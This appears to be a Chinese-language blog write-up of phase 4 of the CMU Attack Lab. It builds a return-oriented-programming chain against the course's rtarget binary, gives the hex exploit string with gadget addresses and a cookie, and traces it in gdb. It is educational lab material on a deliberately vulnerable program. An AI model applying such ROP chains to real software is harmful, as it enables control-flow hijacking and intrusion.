AttachLab phase 4

Phase 4

phase 4 重做 level 2,but with rtarget and gadget used.

回憶一下level 2, 只需完成

mov cookie, %rdi
ret

先看 recitation 給的例子,比如我們想把 0xBBBBBBBB 放到 %rbx 中,然后再把它移到 %rax 中:

我們利用了兩個(gè) gargets:

  • address1: mov %rbx, %rax;
  • ret address2: pop %rbx; ret

實(shí)際上的 buffer 是這樣的:

+------------------------|
|Next address in ROP Chain
+------------------------|
|Address 1               |
+------------------------+
|0xBBBBBBBB              |
+------------------------+
|Address 2               |Old Return address
+------------------------+
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF               |
|0xFFFFFFF(filler...)    |
+------------------------+ 

看 lab 給的提示和限制:

  • 只允許前八個(gè) registers: %rax - %rdi
  • 只允許以下操作 movq, popq, ret, nop
  • start_farm 到 mid_farm 足夠,用兩個(gè) gadgets
  • 當(dāng)使用 popq 時(shí),data 也會從 stack 中 pop 出來,exploit string 會包含 gadget address 和 data.

按照提示,

  • gcc -c farm.c
  • objdump -d farm.o

尋找沒有 pop %rdi, 跟 %rdi 有關(guān)的mov 只有 movq %rax, %rdi 48 89 c7, 能找到 pop %rax 58.

在函數(shù) getval_280 中 能找到 58 90 c3, 這就是我們需要用的 pop %rax, 在 objdump -d rtarget 中能找到 58 90 c3 在 0x4019cc 處,先嘗試如下:

// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00

發(fā)現(xiàn)可以到達(dá) getval-280, 再根據(jù)給的hint,這里需要把跟 0xBBBBBBBB 類似的cookie 放到這個(gè)后面,然后繼續(xù)跟 movq %rax, %rdi, 我們能找到在 setval-426 處,后面跟的是 48 89 c7 90 c3, 正是我們需要的,再跟上 touch2 的地址,code部分并沒有變,只是 stack 被 random了。

所以寫下來

// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00 /* pop %rax, ret*/ fa 97 b9 59 00 00 00 00 /*cookie value*/ c5 19 40 00 00 00 00 00 /* movq %rax, %rdi, ret */ ec 17 40 00 00 00 00 00 /*touch2 begin */

實(shí)際上我們設(shè)置breakpoints 在getbuf 的最后一句,然后開始運(yùn)行的時(shí)候:

r -q  -i rtarget.12-raw.txt
stepi
// 提示我們到達(dá)這里 0x00000000004019cc in getval_280 ()
stepi
stepi
info registers
// rax已經(jīng)變化 rax            0x59b997fa    
stepi
// 提示我們到達(dá) 0x00000000004019c5 in setval_426 ()
stepi
stepi
stepi
// rdi            0x59b997fa
stepi
// touch2 (val=1505335290) at visible.c:40

phase 4 解決,更多關(guān)于 ROP 也可以參見: Introduction to return oriented programming (ROP)

Phase 5

phase 5 重做 level 3, 文檔里這樣寫: “ If you have other pressing obligations consider stopping right now.”

so 暫時(shí)先 stop phase 5.

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容